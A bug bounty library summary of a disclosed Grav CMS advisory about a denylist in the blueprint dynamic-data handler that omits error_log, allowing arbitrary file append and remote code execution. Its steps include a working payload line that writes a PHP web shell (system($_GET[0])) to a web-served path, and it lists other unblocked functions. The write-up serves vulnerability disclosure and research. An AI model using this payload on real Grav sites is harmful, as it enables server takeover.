# Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write

Grav's bare-function dynamic-data branch uses a denylist missing error_log, letting a page-edit account append PHP to a web-served file for RCE.

- Payout: Research
- Severity: critical
- Program: Grav
- Found by: arpitjain099
- Disclosed: 2026-09-17
- CVE: CVE-2026-75827
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-f8wv-xp27-6gq7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-f8wv-xp27-6gq7
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:php technique:incomplete-fix technique:source-review vuln:rce

**Target:** Blueprint dynamic-data directive handler (PHP)
**Root cause:** The bare-function branch of Blueprint::isSafeDynamicCall() relies on Utils::isDangerousFunction() denylist instead of a positive allowlist; error_log is absent from the list, so error_log($msg,3,$dest) passes and appends attacker data to an arbitrary file.
**Steps:**
1. Author a blueprint field with `data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php']`
2. Blueprint::init() calls isSafeDynamicCall('error_log', $params); bare-function branch checks isDangerousFunction('error_log') => false and paramsContainDangerousCallable => false, returns true
3. call_user_func_array('error_log', [payload, 3, 'user/data/x.php']) appends PHP payload to the destination file
4. Request the written file over HTTP (or any later include) to execute the payload
**How found:** Compared the two branches of isSafeDynamicCall(): the Class::method branch was hardened to a positive allowlist by GHSA-7pgq, while the bare-function branch still used a denylist; grepped Utils.php for append/exec-capable functions and found error_log, stream_socket_client, dl and mb_send_mail missing.
**Exploitation:** A page-edit/blueprint-config account supplies a data-*@ directive naming error_log with a PHP payload and a web-served destination path; the guard accepts it and error_log appends the payload to disk, yielding code execution when the file is requested.
**Escalation:** Write to a web-served path or any path later included by PHP to convert arbitrary file append into RCE.
**Insight:** When a prior fix converts one branch of a validator to an allowlist, check sibling branches for asymmetric denylist logic; then enumerate denylist gaps for functions with side effects like error_log's 3-arg file append.

